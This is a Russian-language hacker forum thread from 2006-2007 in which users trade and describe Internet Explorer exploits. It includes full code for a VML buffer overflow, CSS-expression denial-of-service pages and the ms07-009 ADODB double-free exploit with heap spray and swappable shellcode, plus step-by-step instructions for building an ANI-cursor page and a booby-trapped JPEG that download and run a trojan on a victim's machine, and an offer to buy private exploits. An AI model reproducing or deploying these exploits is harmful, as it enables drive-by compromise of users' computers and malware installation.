Эксплойты для браузеров (IE, Mozilla, Opera, Chrome и др.)

Discussion in 'Защита ОС: антивирусы, фаерволы, антишпионы' started by KPOT_f!nd, 26 Sep 2006.

  1. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Этот раздел открыт для нахождений линков и эксплойтов против Ослика! Выкладываем только живые линки и сплойты! И еще сплойты выкладавать только в txt-формате!
    ------------------------------------------------------------------------
    [IE «Window()» 0day exploit]
    Описание:
    Корпорация MicroSoft снова отличилась нестабильностью своих продуктов.
    На этот раз в public-источниках появился 0day эксплойт для Internet Explorer 6.0.
    Баг актуален для версий Win2k и WinXP со всеми сервиспаками.
    Суть ошибки состоит в простом переполнении буфера (а какие могут быть еще ошибки в продуктах MS?,
    которое вызывается через функцию window() языка JavaScript.
    Эксплойт состоит из 5 разных файлов. Стартовый HTML позволяет выбрать операционную систему.
    После клика по соответствующей ссылке незамедлительно запустится калькулятор.
    Учитывая, что шеллкод во вредоносном файле fillmem.htm можно легко изменить, эксплойт приравнивается к критическим
    Poc:
    0day
    Про техническую реализацию уязвимости можно прочитать на ресурсе
    ------------------------------------------------------------------------

    [IE "Msdds.dll" Remote Exploit]
    Описание:
    В прошлом обзоре я писал про Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit, однако сплоит работал не на всех версиях браузера.
    Недавно в паблик просочился код этого же сплоита, только функционирующего на WinXP+SP2 IE 6.0.
    Сам эксплойт написан на Перле и его задача - создать бажную HTML-страницу.
    В этой паге посредством object-тэга вызывается шелл-код, переполняющий буфер осла и оставляющий на память шелл на порту 28876.
    Правда, как это обычно бывает, в эксплойте есть маленькая недоделка.
    Знающий человек сразу догадается и исправит ошибку после первого неудачного запуска.
    А незнающий - пойдет лесом :). После исправления недочета, достаточно запустить сплоит с редиректом в страницу blah.html, а затем попытаться открыть загадочную HTML-страницу.
    Что будет дальше, ты, наверное, уже догадался
    Poc:
    Msdds (челы антивирь будет орать, говоря что это вирь! Это не так просто у сплойта сигнатура похожа на вирь!)
    Информацию по этой уязвимости можно найти здесь:
    ------------------------------------------------------------------------

    [MS color management buffer overflow]
    Описание:
    За этот летний месяц вышло не так уж и много громких эксплойтов, однако некоторые багоискатели сумели наделать шума.
    Так, например, 21 июля некий хакер отыскал уязвимость в модуле Internet Explorer.
    Бажный плагин отвечает за подгрузку картинок на страницах ослика.
    Автор эксплойта утверждает, что баг содержится в функции GetColorProfileElement.
    Ошибка позволяет перезаписать стек определенным кодом.
    В сплойте содержится шеллкод для запуска блокнота.
    Но не все так хорошо, как написано в багтраке.
    Лично у меня не получилось запустить ноутпад, а максимум чего я добился — аварийного завершения работы браузера.
    Испытания проводились на чистой WinXP+SP2. Попробуй, быть может получится у тебя.
    Poc:
    MS_color
    ------------------------------------------------------------------------

    [Microsoft MSHTA Script Execution]
    Описание:
    Опять Windows и опять Internet Explorer. На этот раз ошибка, найденная в ослике, позволяет запускать незарегистрированные типы файлов.
    Чтобы было понятнее, рассмотрим атаку на простом примере. Создается hta-файл, выполняющий какую-либо команду (смотри заголовок эксплойта).
    Затем запускается сам сплойт с двумя параметрами: путь к созданному hta-файлу и файл с незарегистрированным расширением (test.d0c, например).
    После всего вышеперечисленного, попробуй запустить созданный файл в эксплорере.
    Эта попытка увенчается успехом, а команда, вшитая в hta-шаблон будет мгновенно исполнена.
    Эксплойт ориентирован для Windows-среды, поэтому компилируй его с помощью lcc.
    В качестве команды, заданной в hta-файле может быть что угодно – от безобидного создания папки, до форматирования диска
    Poc:
    MSHTA
    Более подробное описание бага находится тут:
    ------------------------------------------------------------------------

    [Internet Explorer Cursor Processing Remote DoS]
    Описание:
    Недавно мир узнал о новых уязвимостях в браузере Internet Explorer 6.0.
    На этот раз очередное переполнение позволяет перезагрузить операционную систему и в теории – выполнить любой код.
    Подробности ошибки не разглашаются, однако известно, что переполнение буфера вызывается при обработке неправильного *.ani-файла.
    Анимашка в нашем случае – это файл курсора, который умеет подгружать глупый ослик. Внедрение сокрушительного DoS’ера в html-файл происходит с помощью конструкции «body {CURSOR: url("ANIBLUE.ani")}».
    Сам ANIBLUE.ani, как правило, находится в той же папке. Как ты догадался, эта конструкция – есть описание стиля HTML-документа.
    Помимо глупой DoS-атаки, существует возможность выполнить любой код с правами текущего пользователя - на данный момент есть эксплойт, который открывает шелл на 28876 порту.
    Однако поставляемая версия пока не работоспособна, потому придется немного повременить.
    Poc:
    icoExp! А еще забыл сказаьб когда скачаете сплойт то про его сохоанить в HTML-формате! Нет это безапастно так вы просмотрите его содержимое! Просто там коментарий много! Сплойт безапасен! Отвечаю за свой базар!
     
    #1 KPOT_f!nd, 26 Sep 2006
    Last edited: 30 Sep 2006
    6 people like this.
  2. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Сегодня дополню! Устал сильно! Прошу всех присоединится
     
  3. fen

    fen Elder - Старейшина

    Joined:
    23 Sep 2006
    Messages:
    41
    Likes Received:
    6
    Reputations:
    0
    оки... ждём
     
  4. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Прошу всем помочь!
     
  5. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    ммм... понимаешь, KPOT_f!nd, эксплойты под IE (тем более рабочие) - весчь приватная.
    Усли кого интересуют доступные эксплойты, советую скачать метасплойт и изучить:
    ie_createobject.pm
    ie_createtextrange.pm
    ie_iscomponentinstalled.pm
    ie_objecttype.pm
    ie_xp_pfv_metafile.pm
     
    1 person likes this.
  6. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Вот ещё:
    http://security.nnov.ru/Gnews656.html
     
  7. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    2 эксплоита для пассивной XSS для браузера Internet Explorer методом обхода граффического фильтра.
    http://www.kodsweb.ru/sploits/ie_xss_bypass_GUI.rar -GUI
    http://www.kodsweb.ru/sploits/ie_xss_bypass.rar -консольная

    from:http://www.kodsweb.ru/main.php
     
  8. теща

    теща Экстрасенс

    Joined:
    14 Sep 2005
    Messages:
    2,027
    Likes Received:
    525
    Reputations:
    285
    мне бы ms05-027 качануть дето ,
    пасиба -)
     
    1 person likes this.
  9. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,362
    Likes Received:
    1,178
    Reputations:
    430
    _http://www.security.nnov.ru/files/mssmb_poc.c - сплойт
    _http://www.lan.krasu.ru/struct/net/security/index.asp?part=3 заплатки всякие
     
    #9 Ch3ck, 14 Oct 2006
    Last edited by a moderator: 9 Dec 2010
    CyberTro1n likes this.
  10. теща

    теща Экстрасенс

    Joined:
    14 Sep 2005
    Messages:
    2,027
    Likes Received:
    525
    Reputations:
    285
    раз тут уж такая тема , можт кто розкажет как пользоваться компилятором Faq , как компилировать а то я скачал

    AfalinaSoft XL Report for C++Builder 4 4.1 build
    ссылка http://www.afalinasoft.com/files/xlr4btrial123.exe
    8мб

    но вот провернуть никак не получается , кому не лень , кому ПЛЮС влепить ??
     
    #10 теща, 15 Oct 2006
    Last edited: 15 Oct 2006
  11. теща

    теща Экстрасенс

    Joined:
    14 Sep 2005
    Messages:
    2,027
    Likes Received:
    525
    Reputations:
    285
    я не уточнил , я думал есть готовый де то , сам не умею компилить (
     
  12. SladerNon

    SladerNon Ученик Христа

    Joined:
    6 Mar 2005
    Messages:
    1,633
    Likes Received:
    930
    Reputations:
    355
    KPOT_f!nd
    Если ты уж пишешь, то будь добр выкладывать источники
    http://www.xakep.ru/magazine/xa/085/077/1.asp
    Ну тут я не соглашусь :). Приватные эксплоиты считаються 0day сплоиты, и те регулярно выкладываються на багтраках значительно раньше, нежели выходит обновение. :). Во вторник обновление, в среду мы видим очередной рабочий код 0day сплоита для ослика :).
    Последний хитовый с пробивом SP2 на моей памяти был VML сплоит, четыре версии которого можно найти на milw0rm.com.
    Вот тут полностью согласен :). На рынке существуют сейчас куча "приватных" связок, и прочих вещей, которые продаються за $ с несколькими нулями :)., и одновременно в сети есть доступный всем проект метасплоита, где регулярно выкладываються самые последние разработки.
    ИМХО, начинать знакомство нужно именно с него. Больше вообще ничего не надо, пока проект жив.
     
  13. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Я так понял под "приватностью" Elekt имел ввиду то что они чьи-то, т. е там уже все параметры заложены. Вот взять бы ie_xp_metafile.pm - эксплоит-то сам давно в баблике, а отдать готовый никому нельзя (всё равно будет на тебя работать). Т. е. надо его пересобирать конкретно под свои нужды (сплоит+начинка+их параметры). Ну а так вообщё-то прав SladerNon, 0day сплоиты, пока они не выложены на багтракх, а продаются за несколько K$ - они и есть приватные. (то есть не публичные). Поэтому сплоит, работающий тока на тебя (уже заряженный начинкой с параметрами), язык как-то не поворачивается назвать публичным. Вот пакет Метасплоит публичный, исходники сплоитов тоже, а на выходе получаем совсем личные сплоиты! (читай приватные) ГЫ!. Тут висят мои, ну и какие они? личные, публичные или приватные? Х .е. З. вообщем.
     
    #13 -=lebed=-, 24 Oct 2006
    Last edited: 24 Oct 2006
  14. stap

    stap Banned

    Joined:
    25 Oct 2006
    Messages:
    8
    Likes Received:
    0
    Reputations:
    -2
    "Для закачки и запуска удалённого файла"

    "Ani exploit" :D

    Собирается он так: скачиваем ani-spl.exe запускаем с параметрами (ani-spl.exe name http:\\somesite\troy.exe) в результате получаем два файла - name.html и name.ani - код из name.html вставляем в любую страничку..
    Необходимо чтобы с name.html в одной папке был и name.ani- он и скачает на комп жертвы troy.exe

    *недостатки: работает только с IE +
    *не работает в SP2

    +абсолютно незаметен при запуске
    +можно вставить его в сайт с нормальным содержанием.

    AVP базы до 02.2005 не палит его
    По-моему (имхо) лучший сплоит для IE на сегодняшний день. :D
    Качаем нах...
     
    #14 stap, 26 Oct 2006
    Last edited: 26 Oct 2006
  15. stap

    stap Banned

    Joined:
    25 Oct 2006
    Messages:
    8
    Likes Received:
    0
    Reputations:
    -2
    "Есть баг позволяющий запустить (*.exe) встроенный в картинку"

    (платформа- Windows Explorer)
    И так скачиваем ms04exp.zip

    1. подменяем hеllo.exe своим трояном.
    2. Запускаем jpg_gen.bat.
    3. компилируем проект(CTRL+F9), должен появится файл jpg_gen.bin
    4. переименовываем в jpg_gen.jpg

    При его запуске сначала наблюдается зависание. ПРИЧЕМ не надо открывать картинку достадочно лишь навести курсор ... и Троян сделает свое черное дело.

    *недостатки: не работает в SP 2

    + легко выдать за свою фотку
    + появилось в базах AVP в 02.2005 т.е. :D
    Необновленный каспер не спасёт.
     
    #15 stap, 26 Oct 2006
    Last edited: 26 Oct 2006
  16. inferno[DGT]

    inferno[DGT] New Member

    Joined:
    14 Oct 2006
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    А есть сплоиты для запуска pop-up или pop-exit окон, чтобы в SP2 не блокировались?
    Был бы очень признателен. Если у кого есть приватный, то мог бы купить по сходной цене.
    ICQ 402136
     
  17. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.

    Уязвимость существует из-за ошибки проверки границ данных в Microsoft Vector Graphics Rendering (VML) библиотеке (vgx.dll) при обработке определенных VML документов. Удаленный пользователь может с помощью специально сформированного VML документа, содержащего слишком длинный метод fill внутри тега rect, вызвать переполнение стека и выполнить произвольный код на целевой системе.

    Примечание: уязвимость активно эксплуатируется в настоящее время.

    воздействие: отказ в обслуживании

    20 сентября, 2006
    <!--
    Currently just a DoS

    EAX is controllable and currently it crashes when trying to move EBX into the location pointed to by EAX

    Shirkdog
    -->


    <html xmlns:v="urn:schemas-microsoft-com:vml">

    <head>
    <object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
    </object>
    <style>
    v\:* { behavior: url(#VMLRender); }
    </style>
    </head>

    <body>


    <v:rect style='width:120pt;height:80pt' fillcolor="red">
    <v:fill method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD01" angle="-45"
    focus="100%" focusposition=".5,.5" focussize="0,0"
    type="gradientRadial" />
    </v:rect>

    </body>
    </html>

    # milw0rm.com [2006-09-19]
    источник инф: http://www.securitylab.ru/poc/274149.php
    А тут ie_vml_rectfill.pm - вполне рабочий сплоит от Metasploit Framework - проверял на SP2+IE6 (без патчей)
     
  18. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Свежие баги в IE..
    Internet Explorer 6 CSS "expression" Denial of Service Exploit (P.o.C.)

    Автор: José Carlos Nieto Jarquín
    Дата: Ср. 6 Дек. 2006 11:01

    Tested under Windows XP SP2, MSIE 6.0.2900.2180

    Exploit 1
    <div id="foo" style="height: 20px; border: 1px solid blue">
    <table style="border: 1px solid red; width:
    expression(document.getElementById('foo').offsetWidth+'px');">
    <tr><td></td></tr>
    </table>
    </div>

    Exploit 2
    <div style="width: expression(window.open(self.location));">

    </div>

    Exploit 3
    <html>
    <head>
    <title>Another non-standards compliant IE D.O.S.</title>
    </head>
    <body>
    <div id="foo" style="height: 20px; border: 1px solid blue">
    <table style="border: 1px solid red; width:
    expression(parseInt(window.open(self.location))+document.getElementById('foo').offsetWidth+'px');">
    <tr>
    <td>
    IE makes my life harder :(. It sucks, don't use it :).
    </td>
    </tr>
    </table>
    </div>
    Written by <a href="http://xiam.be">xiam</a>.<br />
    Tested under IE 6.0.2900.2180
    </body>
    </html>
     
  19. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594


    Зашит на шеллкод - запуск калькулятора.
    P.S. Вставленные пробелы в длинных строках убрать естестевнно...
     
    1 person likes this.
  20. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009)
    Это код эксплуатирует "ошибка двойного освобождения" в msado15.dll, в NextRecordset () функции.
    В результате двойного освобождения некоторой строки, возможна перезапись Управляющего блока Динамической памяти злонамеренным кодом.
    Методика эксплуатации основана на "Переотображении хранения".
    Выполняет calc.exe если успех.

    P.S. У меня просто свалил браузер IE.
    Code:
    <HTML>
    <!--
    **********************************************************************************
    Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009).
    **********************************************************************************
    Review:
    This code exploit "double free error" in msado15.dll NextRecordset() function.
    As a result of double freeing of same string, rewriting of Heap Control Block 
    by malicious data is occuring. 
    Technique of exploitation is based on "Lookaside remapping".
    Runs calc.exe if success.
    -->
    <HEAD>
    	<OBJECT id=obj classid=clsid:00000535-0000-0010-8000-00AA006D2EA4></OBJECT>
    </HEAD>
    
    <BODY onLoad='Go()'>
    
    <script language=javascript>
    
    //------------------Replace with your code-----------------------//
    	var Shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
    //------------------Replace with your code-----------------------//
    
    
    //-------------Heap Repair Code. Do not Replace------------------//
    		var HeapRepairCode = unescape("%u9090%u9090%u186A%u645B%u038B%u408B%u8B30%u1840%u5805%u0001%u3300%u89D2%u8910%u0450%u5089%u8908%u0C50%uC083%u8928%u8900%u0440%uC083%u6608%u783D%u7C05%u8BF2%u81D8%u90C3%u0000%u8900%u3318%u83D2%u04C0%u1089%uC083%u8104%u80C3%u0000%u8900%u3318%u89C0%u8303%u04C3%u8166%u88FB%u7C1E%u8BF4%u81D3%u70EB%u001E%u6600%u338B%u8966%u4232%uC642%u0802%u6642%u328B%u3166%u4232%uC642%u1402%u6642%u328B%u3166%u4232%u6642%uC381%u0160%u1389%u5389%u8904%u891A%u045A%u9090");
    //-------------Heap Repair Code. Do not Replace------------------//
    
    var part1 = '';
    var part2 = '';
    var partLen = 127;
    
    function PrepMem()
    {
    //Standard Heap Spray Code
    var heapSprayToAddress = 0x05050505;
    
    	var payLoadCode = HeapRepairCode + Shellcode;
    	var heapBlockSize = 0x400000;
    	var payLoadSize = payLoadCode.length * 2;
    	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
    	var spraySlide = unescape("%u9090%u9090");
    	spraySlide = getSpraySlide(spraySlide,spraySlideSize);
    	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
    	memory = new Array();
    
    	for (i=0;i<heapBlocks;i++)
    	{
    		memory[i] = spraySlide + payLoadCode;
    	}
    
    	function getSpraySlide(spraySlide, spraySlideSize)
    	{
    		while (spraySlide.length*2<spraySlideSize)
    		{
    			spraySlide += spraySlide;
    		}
    		spraySlide = spraySlide.substring(0,spraySlideSize/2);
    		return spraySlide;
    	}
    }
    
    
    function GetSystemVersion()
    {
     //Simple Detecting of OS version out of Jscript version:
    		
    		var  ver = "";
    		ver += ScriptEngineMajorVersion();
    		ver += ScriptEngineMinorVersion();
    		ver += ScriptEngineBuildVersion();
    		
    		if 	( ver<568820 ){ return("preSP2"); }
    		else if ( ver<575730 ){ return("SP2"); }
    		else return (0);
    }
    
    
    function PrepJmpcode(sp)
    {
    	switch(sp){
    			case "preSP2":
    					
    					var egg="";
    					egg+=unescape("%u0608%u0014");		
    					egg+=unescape("%u0000%u0000");
    					egg+=unescape("%uF708%u0013");		
    					egg+=unescape("%u0000%u0101");
    					egg+=unescape("%uFFFF%uFFFF");
    					egg+=unescape("%uFFFF%uFFFF");
    					
    					part1+=unescape("%u0400%u0014");	
    					part1+=unescape("%u320C%u77FC");	
    					while (part1.length<partLen) {part1+=unescape("%u0505");}// ptr* shellcode							
    					
    					while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");}
    					part2+=egg;						
    					
    					break;	
    
    		
    			case "SP2":
    					
    					var egg="";
    					egg+=unescape("%u0608%u0014");		
    					egg+=unescape("%u0000%u0000");
    					egg+=unescape("%uF708%u0013");		
    					egg+=unescape("%u0000%u0101");		
    					egg+=unescape("%uFFFF%uFFFF");
    					egg+=unescape("%uFFFF%uFFFF");
    					
    					part1+=unescape("%u0505%u0505");	
    					part1+=unescape("%ue128%u75c7");	
    					while (part1.length<partLen) {part1+=unescape("%uFFFF");}								
    					
    					while (part2.length<(partLen-egg.length)) {part2+=unescape("%uFFFF");}
    					part2+=egg;						
    					
    					break;	
    		}
    }
    
    function Exploit()
    {
    		var arr=new Array();
    		var i=1;
    		
    		while(i<500){
    				try{
    				k=1;
    				while(k<500){ arr[k]=part1+part2; k++; }
    				obj.NextRecordset( part1+part2 );
    				}catch(e){}
    				i++;
    					}
    }
    
    function Go(){
    	PrepMem();
    	PrepJmpcode( GetSystemVersion() );
    	Exploit();
    }
    
    </script>
    </body>
    </html>
    # milw0rm.com [2007-03-26]
    
    источник: http://milw0rm.com/exploits/3577 (берите на тестирование - тут без пробелов)
     
    1 person likes this.